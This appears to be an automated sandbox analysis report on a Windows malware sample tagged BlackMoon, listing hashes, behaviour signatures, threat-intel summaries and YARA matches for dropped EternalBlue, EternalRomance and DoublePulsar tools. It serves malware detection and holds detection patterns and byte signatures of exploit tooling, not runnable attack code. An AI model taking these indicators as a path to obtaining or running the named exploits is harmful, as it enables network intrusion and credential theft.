Edit tour

Windows Analysis Report
exe3.bin.bak.exe

Overview

General Information

Sample name:	exe3.bin.bak.exe
Analysis ID:	1468523
MD5:	2311a69113104a760d785a79f45bab74
SHA1:	32e883771883ba44715180e92a20c80638c5c78f
SHA256:	f2af31b74bfe1648b8c06ce5b3869e81ce8caafe4a265e007af4036af3448ae7
Tags:	32BlackMoonexe
Infos:

Detection

BlackMoon, DoublePulsar, ETERNALBLUE

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected BlackMoon Ransomware

Yara detected DoublePulsar

Yara detected ETERNALBLUE

Yara detected Powershell download and execute

AI detected suspicious sample

Connects to many different private IPs (likely to spread or exploit)

Connects to many different private IPs via SMB (likely to spread or exploit)

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

exe3.bin.bak.exe (PID: 4036 cmdline: "C:\Users\user\Desktop\exe3.bin.bak.exe" MD5: 2311A69113104A760D785A79F45BAB74)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Name	Description	Attribution	Blogpost URLs	Link
DoublePulsar		Equation Group UPS	https://github.com/countercept/doublepulsar-c2-traffic-decryptor https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/ https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/	https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\Eternalblue-2.2.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x764:$dp1: EXPLOIT_SHELLCODE 0x451:$dp2: ETERNALBLUE_VALIDATE_BACKDOOR 0x9a5:$dp3: ETERNALBLUE_DOUBLEPULSAR_PRESENT 0xbbe:$dp4: //service[name='smb']/port
C:\Users\user\Desktop\Doublepulsar-1.3.1.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0xd25:$dp1: EXPLOIT_SHELLCODE 0x1034:$dp1: EXPLOIT_SHELLCODE 0x33d:$dp5: DOUBLEPULSAR_PROTOCOL_ 0x4dd:$dp5: DOUBLEPULSAR_ARCHITECTURE_ 0x64b:$dp5: DOUBLEPULSAR_FUNCTION_ 0x8e2:$dp5: DOUBLEPULSAR_DLL_ 0x972:$dp5: DOUBLEPULSAR_DLL_ 0xa65:$dp5: DOUBLEPULSAR_PROCESS_ 0xb4b:$dp5: DOUBLEPULSAR_COMMAND_ 0xea8:$dp5: DOUBLEPULSAR_FUNCTION_ 0x114f:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1246:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1337:$dp5: DOUBLEPULSAR_IS_64_BIT
C:\Users\user\Desktop\coli-0.dll	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x317d:$ci3: mainWrapper
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x8d6c:$x3: [-] Error setting ShellcodeFile name
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance_2	Detects EquationGroup Tool - April Leak	Florian Roth	0x7a21:$x1: [+] Backdoor shellcode written 0x786c:$x2: [*] Attempting exploit method %d
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x8c45:$x1: [-] Error: Exploit choice not supported for target OS!! 0x88f0:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x89c9:$x3: [-] Error: Backdoor not present on target 0x7674:$x4: ********* TARGET ARCHITECTURE IS X64 **********
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x97c2:$ci2: coli_ 0x97de:$ci2: coli_ 0x97f2:$ci2: coli_ 0x9804:$ci2: coli_ 0x9812:$ci2: coli_ 0x9824:$ci2: coli_ 0x97d0:$ci3: mainWrapper
C:\Users\user\Desktop\Eternalromance-1.4.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x9b6:$dp1: EXPLOIT_SHELLCODE 0x48d7:$dp4: //service[name='smb']/port
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4898:$x1: [-] Error appending shellcode buffer
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4735:$x1: [+] Ping returned Target architecture: %s - XOR Key: 0x%08X 0x3e9d:$x2: [.] Sending shellcode to inject DLL 0x39fc:$x3: [-] Error setting ShellcodeFile name
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x50ac:$ci2: coli_ 0x50c0:$ci2: coli_ 0x50d2:$ci2: coli_ 0x50e0:$ci2: coli_ 0x50f2:$ci2: coli_ 0x5100:$ci2: coli_ 0x509e:$ci3: mainWrapper
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1b818:$ci2: coli_ 0x1b834:$ci2: coli_ 0x1b848:$ci2: coli_ 0x1b85a:$ci2: coli_ 0x1b868:$ci2: coli_ 0x1b87a:$ci2: coli_ 0x1b826:$ci3: mainWrapper
C:\Users\user\Desktop\dmgd-4.dll	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xb858:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xcff0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xe5a8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x168e8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x17ea0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e5e4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fc80:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x21150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2788c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x28f28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2a3f8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d398:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30340:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3379c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x36c1c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3d818:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3efd0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x405a4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x47178:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x48930:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
C:\Users\user\Desktop\Wmicc.exe	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\Wmicc.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\Desktop\Wmicc.exe	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1062bc:$s1: blackmoon 0x1062fc:$s2: BlackMoon RunTime Error:
Click to see the 13 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2eaf4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3028c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x31844:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x383ec:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x39b84:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b13c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41880:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x42f1c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x443ec:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ab28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4c1c4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4d694:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50634:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x535dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x56a38:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x59eb8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60ab4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6226c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x63840:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6a414:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6bbcc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcee42:$x1: [-] Error: Exploit choice not supported for target OS!! 0xceaed:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcebc6:$x3: [-] Error: Backdoor not present on target 0xcd871:$x4: ********* TARGET ARCHITECTURE IS X64 **********
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x13e0b:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9ef2b:$s4: msvcrtd.dll 0x9fc85:$s4: msvcrtd.dll 0x13e27:$s5: %d.%d.%d.%d%c
00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x16b7f:$ci1: CNEFileIO_ 0x16b92:$ci1: CNEFileIO_ 0x16ba6:$ci1: CNEFileIO_ 0x16bbb:$ci1: CNEFileIO_ 0x16bd0:$ci1: CNEFileIO_ 0x16be6:$ci1: CNEFileIO_ 0x16bf8:$ci1: CNEFileIO_ 0x16c13:$ci1: CNEFileIO_ 0x16c27:$ci1: CNEFileIO_ 0x16c3c:$ci1: CNEFileIO_ 0x16c4f:$ci1: CNEFileIO_ 0x16c61:$ci1: CNEFileIO_ 0x16c74:$ci1: CNEFileIO_ 0x16c88:$ci1: CNEFileIO_ 0x16c9d:$ci1: CNEFileIO_ 0x16cb0:$ci1: CNEFileIO_ 0x16cca:$ci1: CNEFileIO_ 0x16ce4:$ci1: CNEFileIO_ 0x16cf8:$ci1: CNEFileIO_ 0x16d0b:$ci1: CNEFileIO_ 0x16d1f:$ci1: CNEFileIO_
Process Memory Space: exe3.bin.bak.exe PID: 4036	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
Process Memory Space: exe3.bin.bak.exe PID: 4036	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
Process Memory Space: exe3.bin.bak.exe PID: 4036	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xb1d642:$x1: [-] Error: Exploit choice not supported for target OS!! 0xb1dee7:$x1: [-] Error: Exploit choice not supported for target OS!! 0xb1d33e:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xb1d406:$x3: [-] Error: Backdoor not present on target 0xb1be11:$x4: ********* TARGET ARCHITECTURE IS X64 **********
Process Memory Space: exe3.bin.bak.exe PID: 4036	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0xb09c34:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0xb09c86:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0xb15572:$s4: msvcrtd.dll 0xb09c4e:$s5: %d.%d.%d.%d%c
Process Memory Space: exe3.bin.bak.exe PID: 4036	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0xb0ac7a:$ci1: CNEFileIO_ 0xb0ac8d:$ci1: CNEFileIO_ 0xb0aca1:$ci1: CNEFileIO_ 0xb0acb6:$ci1: CNEFileIO_ 0xb0accb:$ci1: CNEFileIO_ 0xb0ace1:$ci1: CNEFileIO_ 0xb0acf3:$ci1: CNEFileIO_ 0xb0ad0e:$ci1: CNEFileIO_ 0xb0ad22:$ci1: CNEFileIO_ 0xb0ad37:$ci1: CNEFileIO_ 0xb0ad4a:$ci1: CNEFileIO_ 0xb0ad5c:$ci1: CNEFileIO_ 0xb0ad6f:$ci1: CNEFileIO_ 0xb0ad83:$ci1: CNEFileIO_ 0xb0ad98:$ci1: CNEFileIO_ 0xb0adab:$ci1: CNEFileIO_ 0xb0adc5:$ci1: CNEFileIO_ 0xb0addf:$ci1: CNEFileIO_ 0xb0adf3:$ci1: CNEFileIO_ 0xb0ae06:$ci1: CNEFileIO_ 0xb0ae1a:$ci1: CNEFileIO_
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.exe3.bin.bak.exe.5df276.3.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x2329:$ci2: coli_ 0x2335:$ci2: coli_ 0x2341:$ci2: coli_ 0x2351:$ci2: coli_ 0x235c:$ci2: coli_ 0x236c:$ci2: coli_ 0x237d:$ci3: mainWrapper
0.2.exe3.bin.bak.exe.55b2e0.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe3.bin.bak.exe.55b2e0.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x667d4:$s1: blackmoon 0x66814:$s2: BlackMoon RunTime Error:
0.2.exe3.bin.bak.exe.4dfad8.5.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe3.bin.bak.exe.4dfad8.5.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xe1fdc:$s1: blackmoon 0xe201c:$s2: BlackMoon RunTime Error:
0.2.exe3.bin.bak.exe.4bb7f8.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe3.bin.bak.exe.4bb7f8.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1062bc:$s1: blackmoon 0x1062fc:$s2: BlackMoon RunTime Error:
0.2.exe3.bin.bak.exe.4bb7f8.2.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe3.bin.bak.exe.4bb7f8.2.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1062bc:$s1: blackmoon 0x1062fc:$s2: BlackMoon RunTime Error:
0.2.exe3.bin.bak.exe.5df276.3.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
0.2.exe3.bin.bak.exe.5df276.3.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
0.2.exe3.bin.bak.exe.5df276.3.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x1387e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15016:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x165ce:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1d176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e90e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fec6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2660a:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x27ca6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x29176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2f8b2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30f4e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3241e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x353be:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x38366:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b7c2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3ec42:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4583e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x46ff6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x485ca:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4f19e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50956:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
0.2.exe3.bin.bak.exe.5df276.3.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xb3bcc:$x1: [-] Error: Exploit choice not supported for target OS!! 0xb3877:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xb3950:$x3: [-] Error: Backdoor not present on target 0xb25fb:$x4: ********* TARGET ARCHITECTURE IS X64 **********
0.2.exe3.bin.bak.exe.5df276.3.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x822f1:$ci2: coli_ 0x82305:$ci2: coli_ 0x82317:$ci2: coli_ 0x82325:$ci2: coli_ 0x82337:$ci2: coli_ 0x82345:$ci2: coli_ 0xa517f:$ci2: coli_ 0xa519b:$ci2: coli_ 0xa51af:$ci2: coli_ 0xa51c1:$ci2: coli_ 0xa51cf:$ci2: coli_ 0xa51e1:$ci2: coli_ 0xb4749:$ci2: coli_ 0xb4765:$ci2: coli_ 0xb4779:$ci2: coli_
0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xfc6b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x11403:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x129bb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x19563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1acfb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1c2b3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x229f7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24093:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2bc9f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d33b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2e80b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x317ab:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x34753:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37baf:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b02f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41c2b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x433e3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x449b7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4b58b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4cd43:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xaffb9:$x1: [-] Error: Exploit choice not supported for target OS!! 0xafc64:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xafd3d:$x3: [-] Error: Backdoor not present on target 0xae9e8:$x4: ********* TARGET ARCHITECTURE IS X64 **********
0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x7e6de:$ci2: coli_ 0x7e6f2:$ci2: coli_ 0x7e704:$ci2: coli_ 0x7e712:$ci2: coli_ 0x7e724:$ci2: coli_ 0x7e732:$ci2: coli_ 0xa156c:$ci2: coli_ 0xa1588:$ci2: coli_ 0xa159c:$ci2: coli_ 0xa15ae:$ci2: coli_ 0xa15bc:$ci2: coli_ 0xa15ce:$ci2: coli_ 0xb0b36:$ci2: coli_ 0xb0b52:$ci2: coli_ 0xb0b66:$ci2: coli_ 0xb0b78:$ci2: coli_ 0xb0b86:$ci2: coli_ 0xb0b98:$ci2: coli_ 0x7e6d0:$ci3: mainWrapper 0xa157a:$ci3: mainWrapper 0xb0b44:$ci3: mainWrapper
0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
